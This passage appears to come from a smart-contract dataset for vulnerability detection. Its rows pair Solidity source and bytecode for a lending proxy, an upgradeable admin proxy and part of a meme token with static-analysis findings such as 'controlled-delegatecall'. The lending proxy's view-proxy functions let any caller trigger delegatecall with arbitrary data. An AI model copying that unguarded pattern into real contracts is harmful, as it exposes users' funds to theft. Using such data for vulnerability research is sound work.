function setCircuitBreaker(bool _emergency) external returns (bool);
function updateRewardPerBlockStorage(uint256 _rewardPerBlock) external returns (bool);
function getRewardInfo(address userAddr) external view returns (uint256, uint256, uint256, uint256, uint256, uint256);
function getMarketRewardInfo() external view returns (uint256, uint256, uint256);
function setMarketRewardInfo(uint256 _rewardLane, uint256 _rewardLaneUpdateAt, uint256 _rewardPerBlock) external returns (bool);
function getUserRewardInfo(address userAddr) external view returns (uint256, uint256, uint256);
function setUserRewardInfo(address userAddr, uint256 _rewardLane, uint256 _rewardLaneUpdateAt, uint256 _rewardAmount) external returns (bool);
function getBetaRate() external view returns (uint256);
function setBetaRate(uint256 _betaRate) external returns (bool);
}
contract proxy {
address payable owner;
uint256 handlerID;
string tokenName;
uint256 constant unifiedPoint = 10 ** 18;
uint256 unifiedTokenDecimal = 10 ** 18;
uint256 underlyingTokenDecimal;
marketManagerInterface marketManager;
interestModelInterface interestModelInstance;
marketHandlerDataStorageInterface handlerDataStorage;
marketSIHandlerDataStorageInterface SIHandlerDataStorage;
IERC20 erc20Instance;
address public handler;
address public SI;
string DEPOSIT = "deposit(uint256,bool)";
string REDEEM = "withdraw(uint256,bool)";
string BORROW = "borrow(uint256,bool)";
string REPAY = "repay(uint256,bool)";
modifier onlyOwner {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
modifier onlyMarketManager {
address msgSender = msg.sender;
require((msgSender == address(marketManager)) || (msgSender == owner), "onlyMarketManager function");
_;
}
constructor () public
{
owner = msg.sender;
}
function ownershipTransfer(address _owner) onlyOwner external returns (bool)
{
owner = address(uint160(_owner));
return true;
}
function initialize(uint256 _handlerID, address handlerAddr, address marketManagerAddr, address interestModelAddr, address marketDataStorageAddr, address erc20Addr, string memory _tokenName, address siHandlerAddr, address SIHandlerDataStorageAddr) onlyOwner public returns (bool)
{
handlerID = _handlerID;
handler = handlerAddr;
marketManager = marketManagerInterface(marketManagerAddr);
interestModelInstance = interestModelInterface(interestModelAddr);
handlerDataStorage = marketHandlerDataStorageInterface(marketDataStorageAddr);
erc20Instance = IERC20(erc20Addr);
tokenName = _tokenName;
SI = siHandlerAddr;
SIHandlerDataStorage = marketSIHandlerDataStorageInterface(SIHandlerDataStorageAddr);
}
function setHandlerID(uint256 _handlerID) onlyOwner public returns (bool)
{
handlerID = _handlerID;
return true;
}
function setHandlerAddr(address handlerAddr) onlyOwner public returns (bool)
{
handler = handlerAddr;
return true;
}
function setSiHandlerAddr(address siHandlerAddr) onlyOwner public returns (bool)
{
SI = siHandlerAddr;
return true;
}
function getHandlerID() public view returns (uint256)
{
return handlerID;
}
function getHandlerAddr() public view returns (address)
{
return handler;
}
function getSiHandlerAddr() public view returns (address)
{
return SI;
}
function migration(address target) onlyOwner public returns (bool)
{
uint256 balance = erc20Instance.balanceOf(address(this));
erc20Instance.transfer(target, balance);
}
function deposit(uint256 unifiedTokenAmount, bool flag) public payable returns (bool)
{
bool result;
bytes memory returnData;
bytes memory data = abi.encodeWithSignature(DEPOSIT, unifiedTokenAmount, flag);
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return result;
}
function withdraw(uint256 unifiedTokenAmount, bool flag) public returns (bool)
{
bool result;
bytes memory returnData;
bytes memory data = abi.encodeWithSignature(REDEEM, unifiedTokenAmount, flag);
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return result;
}
function borrow(uint256 unifiedTokenAmount, bool flag) public returns (bool)
{
bool result;
bytes memory returnData;
bytes memory data = abi.encodeWithSignature(BORROW, unifiedTokenAmount, flag);
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return result;
}
function repay(uint256 unifiedTokenAmount, bool flag) public payable returns (bool)
{
bool result;
bytes memory returnData;
bytes memory data = abi.encodeWithSignature(REPAY, unifiedTokenAmount, flag);
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return result;
}
function handlerProxy(bytes memory data) onlyMarketManager external returns (bool, bytes memory)
{
bool result;
bytes memory returnData;
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return (result, returnData);
}
function handlerViewProxy(bytes memory data) external returns (bool, bytes memory)
{
bool result;
bytes memory returnData;
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return (result, returnData);
}
function siProxy(bytes memory data) onlyMarketManager external returns (bool, bytes memory)
{
bool result;
bytes memory returnData;
(result, returnData) = SI.delegatecall(data);
require(result, string(returnData));
return (result, returnData);
}
function siViewProxy(bytes memory data) external returns (bool, bytes memory)
{
bool result;
bytes memory returnData;
(result, returnData) = SI.delegatecall(data);
require(result, string(returnData));
return (result, returnData);
}
}
contract LinkHandlerProxy is proxy {
constructor()
proxy() public {}
}
|
0x6080604052600436106101145760003560e01c8063829311cc116100a0578063ba0b362311610064578063ba0b36231461067a578063c0a47d451461069f578063c80916d4146106b4578063d3a417a2146106c9578063ff41073a146106fc57610114565b8063829311cc146105b15780638cd01307146105c65780639a408321146105f8578063adc495561461061d578063b6fd00701461065057610114565b806343b5eabe116100e757806343b5eabe14610373578063478a425114610424578063575979c514610457578063685e24861461047e5780637ad23b7f146104b157610114565b80630e76d128146101195780631e157ad11461024b5780631f426b1d1461027c57806338d074361461032d575b600080fd5b34801561012557600080fd5b506101ca6004803603602081101561013c57600080fd5b810190602081018135600160201b81111561015657600080fd5b82018360208201111561016857600080fd5b803590602001918460018302840111600160201b8311171561018957600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506107ad945050505050565b60405180831515815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561020f5781810151838201526020016101f7565b50505050905090810190601f16801561023c5780820380516001836020036101000a031916815260200191505b50935050505060405180910390f35b34801561025757600080fd5b506102606108f5565b604080516001600160a01b039092168252519081900360200190f35b34801561028857600080fd5b506101ca6004803603602081101561029f57600080fd5b810190602081018135600160201b8111156102b957600080fd5b8201836020820111156102cb57600080fd5b803590602001918460018302840111600160201b831117156102ec57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610904945050505050565b34801561033957600080fd5b5061035f6004803603604081101561035057600080fd5b5080359060200135151561094b565b604080519115158252519081900360200190f35b34801561037f57600080fd5b506101ca6004803603602081101561039657600080fd5b810190602081018135600160201b8111156103b057600080fd5b8201836020820111156103c257600080fd5b803590602001918460018302840111600160201b831117156103e357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610b0b945050505050565b34801561043057600080fd5b5061035f6004803603602081101561044757600080fd5b50356001600160a01b0316610c95565b34801561046357600080fd5b5061046c610d08565b60408051918252519081900360200190f35b34801561048a57600080fd5b5061035f600480360360208110156104a157600080fd5b50356001600160a01b0316610d0e565b3480156104bd57600080fd5b5061035f60048036036101208110156104d557600080fd5b8135916001600160a01b03602082013581169260408301358216926060810135831692608082013581169260a0830135909116919081019060e0810160c0820135600160201b81111561052757600080fd5b82018360208201111561053957600080fd5b803590602001918460018302840111600160201b8311171561055a57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550506001600160a01b038335811694506020909301359092169150610e489050565b3480156105bd57600080fd5b50610260610f40565b3480156105d257600080fd5b5061035f600480360360408110156105e957600080fd5b50803590602001351515610f4f565b61035f6004803603604081101561060e57600080fd5b50803590602001351515610fbb565b34801561062957600080fd5b5061035f6004803603602081101561064057600080fd5b50356001600160a01b0316611027565b34801561065c57600080fd5b5061035f6004803603602081101561067357600080fd5b503561109a565b61035f6004803603604081101561069057600080fd5b508035906020013515156110f1565b3480156106ab57600080fd5b5061026061115d565b3480156106c057600080fd5b5061026061116c565b3480156106d557600080fd5b5061035f600480360360208110156106ec57600080fd5b50356001600160a01b031661117b565b34801561070857600080fd5b506101ca6004803603602081101561071f57600080fd5b810190602081018135600160201b81111561073957600080fd5b82018360208201111561074b57600080fd5b803590602001918460018302840111600160201b8311171561076c57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506111ee945050505050565b600a546040518251600092606092849284926001600160a01b0316918791819060208401908083835b602083106107f55780518252601f1990920191602091820191016107d6565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610855576040519150601f19603f3d011682016040523d82523d6000602084013e61085a565b606091505b50909250905080826108ea5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156108af578181015183820152602001610897565b50505050905090810190601f1680156108dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b509092509050915091565b600b546001600160a01b031681565b600b546040518251600092606092849284926001600160a01b031691879181906020840190808383602083106107f55780518252601f1990920191602091820191016107d6565b600080606080600d8686604051602401808381526020018215158152602001925050506040516020818303038152906040529060405180828054600181600116156101000203166002900480156109d95780601f106109b75761010080835404028352918201916109d9565b820191906000526020600020905b8154815290600101906020018083116109c5575b505060408051918290039091206020850180516001600160e01b03166001600160e01b0319909216919091178152600a54915185519596506001600160a01b039092169486945091925082918083835b60208310610a485780518252601f199092019160209182019101610a29565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610aa8576040519150601f19603f3d011682016040523d82523d6000602084013e610aad565b606091505b5090935091508183610b005760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156108af578181015183820152602001610897565b509195945050505050565b60055460009060609033906001600160a01b0316811480610b3957506000546001600160a01b038281169116145b610b8a576040805162461bcd60e51b815260206004820152601a60248201527f6f6e6c794d61726b65744d616e616765722066756e6374696f6e000000000000604482015290519081900360640190fd5b600b5460405185516000926060926001600160a01b0390911691889190819060208401908083835b60208310610bd15780518252601f199092019160209182019101610bb2565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610c31576040519150601f19603f3d011682016040523d82523d6000602084013e610c36565b606091505b5090925090508082610c895760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156108af578181015183820152602001610897565b50909350915050915091565b600080546001600160a01b03163314610ce3576040805162461bcd60e51b81526020600482018190526024820152600080516020611347833981519152604482015290519081900360640190fd5b50600a80546001600160a01b0383166001600160a01b03199091161790556001919050565b60015490565b600080546001600160a01b03163314610d5c576040805162461bcd60e51b81526020600482018190526024820152600080516020611347833981519152604482015290519081900360640190fd5b600954604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610da757600080fd5b505afa158015610dbb573d6000803e3d6000fd5b505050506040513d6020811015610dd157600080fd5b50516009546040805163a9059cbb60e01b81526001600160a01b03878116600483015260248201859052915193945091169163a9059cbb9160448082019260009290919082900301818387803b158015610e2a57600080fd5b505af1158015610e3e573d6000803e3d6000fd5b5050505050919050565b600080546001600160a01b03163314610e96576040805162461bcd60e51b81526020600482018190526024820152600080516020611347833981519152604482015290519081900360640190fd5b60018a9055600a80546001600160a01b03199081166001600160a01b038c8116919091179092556005805482168b84161790556006805482168a8416179055600780548216898416179055600980549091169187169190911790558351610f049060029060208701906112b3565b50600b80546001600160a01b039485166001600160a01b0319918216179091556008805493909416921691909117909155979650505050505050565b600a546001600160a01b031690565b600080606080600e8686604051602401808381526020018215158152602001925050506040516020818303038152906040529060405180828054600181600116156101000203166002900480156109d95780601f106109b75761010080835404028352918201916109d9565b600080606080600c8686604051602401808381526020018215158152602001925050506040516020818303038152906040529060405180828054600181600116156101000203166002900480156109d95780601f106109b75761010080835404028352918201916109d9565b600080546001600160a01b03163314611075576040805162461bcd60e51b81526020600482018190526024820152600080516020611347833981519152604482015290519081900360640190fd5b50600b80546001600160a01b0383166001600160a01b03199091161790556001919050565b600080546001600160a01b031633146110e8576040805162461bcd60e51b81526020600482018190526024820152600080516020611347833981519152604482015290519081900360640190fd5b50600190815590565b600080606080600f8686604051602401808381526020018215158152602001925050506040516020818303038152906040529060405180828054600181600116156101000203166002900480156109d95780601f106109b75761010080835404028352918201916109d9565b600b546001600160a01b031690565b600a546001600160a01b031681565b600080546001600160a01b031633146111c9576040805162461bcd60e51b81526020600482018190526024820152600080516020611347833981519152604482015290519081900360640190fd5b50600080546001600160a01b0383166001600160a01b03199091161790556001919050565b60055460009060609033906001600160a01b031681148061121c57506000546001600160a01b038281169116145b61126d576040805162461bcd60e51b815260206004820152601a60248201527f6f6e6c794d61726b65744d616e616765722066756e6374696f6e000000000000604482015290519081900360640190fd5b600a5460405185516000926060926001600160a01b03909116918891908190602084019080838360208310610bd15780518252601f199092019160209182019101610bb2565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106112f457805160ff1916838001178555611321565b82800160010185558215611321579182015b82811115611321578251825591602001919060010190611306565b5061132d929150611331565b5090565b5b8082111561132d576000815560010161133256fe4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220cd806fde29f7ab507cee4a2850a3f6a9404c9060167681fabbc94e99a2224fe764736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 5,715 |
0xfb87c9e3874870e339b6538a89ab03569aeb8be7
|
// SPDX-License-Identifier: MIT
pragma solidity 0.6.8;
//
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*
* Credit: https://github.com/OpenZeppelin/openzeppelin-sdk/blob/master/packages/lib/contracts/upgradeability/Proxy.sol
*/
abstract contract Proxy {
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
//
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*
* Credit: https://github.com/OpenZeppelin/openzeppelin-sdk/blob/master/packages/lib/contracts/upgradeability/BaseUpgradeabilityProxy.sol
*/
contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(
Address.isContract(newImplementation),
"Implementation not set"
);
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
emit Upgraded(newImplementation);
}
}
//
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
* Credit: https://github.com/OpenZeppelin/openzeppelin-sdk/blob/master/packages/lib/contracts/upgradeability/BaseAdminUpgradeabilityProxy.sol
*/
contract AdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_setImplementation(_logic);
_setAdmin(_admin);
}
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function changeImplementation(address newImplementation) external ifAdmin {
_setImplementation(newImplementation);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
}
|
0x6080604052600436106100435760003560e01c806317a68dd81461005a5780635c60da1b1461008d5780638f283970146100be578063f851a440146100f157610052565b3661005257610050610106565b005b610050610106565b34801561006657600080fd5b506100506004803603602081101561007d57600080fd5b50356001600160a01b0316610120565b34801561009957600080fd5b506100a261015a565b604080516001600160a01b039092168252519081900360200190f35b3480156100ca57600080fd5b50610050600480360360208110156100e157600080fd5b50356001600160a01b0316610197565b3480156100fd57600080fd5b506100a261020c565b61010e61011e565b61011e610119610273565b610298565b565b6101286102bc565b6001600160a01b0316336001600160a01b0316141561014f5761014a816102e1565b610157565b610157610106565b50565b60006101646102bc565b6001600160a01b0316336001600160a01b0316141561018c57610185610273565b9050610194565b610194610106565b90565b61019f6102bc565b6001600160a01b0316336001600160a01b0316141561014f577f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6101e16102bc565b604080516001600160a01b03928316815291841660208301528051918290030190a161014a81610397565b60006102166102bc565b6001600160a01b0316336001600160a01b0316141561018c576101856102bc565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081811480159061026b57508115155b949350505050565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e8080156102b7573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6102ea81610237565b61033b576040805162461bcd60e51b815260206004820152601660248201527f496d706c656d656e746174696f6e206e6f742073657400000000000000000000604482015290519081900360640190fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc8181556040516001600160a01b038316907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a25050565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035556fea2646970667358221220b05794efb34ed3573a1cd849d7708118c953609dfa210dac3dcfeef5e82fd4e664736f6c63430006080033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 5,716 |
0x95df06f0d157d176cb8966e73772684f9fcce8d3
|
// SPDX-License-Identifier: Unlicensed
//We are Shiba hunter, wandering in the block chain, hunting those so-called legends in the dark forest, and surpassing them one by one.
//We will use DAO Foundation to support potential high-quality initial projects, just for one goal, surpassing all legends!
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SHIBCAW is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Shiba Hunter Dream";
string private constant _symbol = "SHIBCAW";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 666666666666666 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 4;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 4;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x54Bb7e9CE441FC278231923DAd1CCd30DC14b817);
address payable private _marketingAddress = payable(0x54Bb7e9CE441FC278231923DAd1CCd30DC14b817);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 6666666666667 * 10**9;
uint256 public _maxWalletSize = 6666666666667 * 10**9;
uint256 public _swapTokensAtAmount = 6666 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
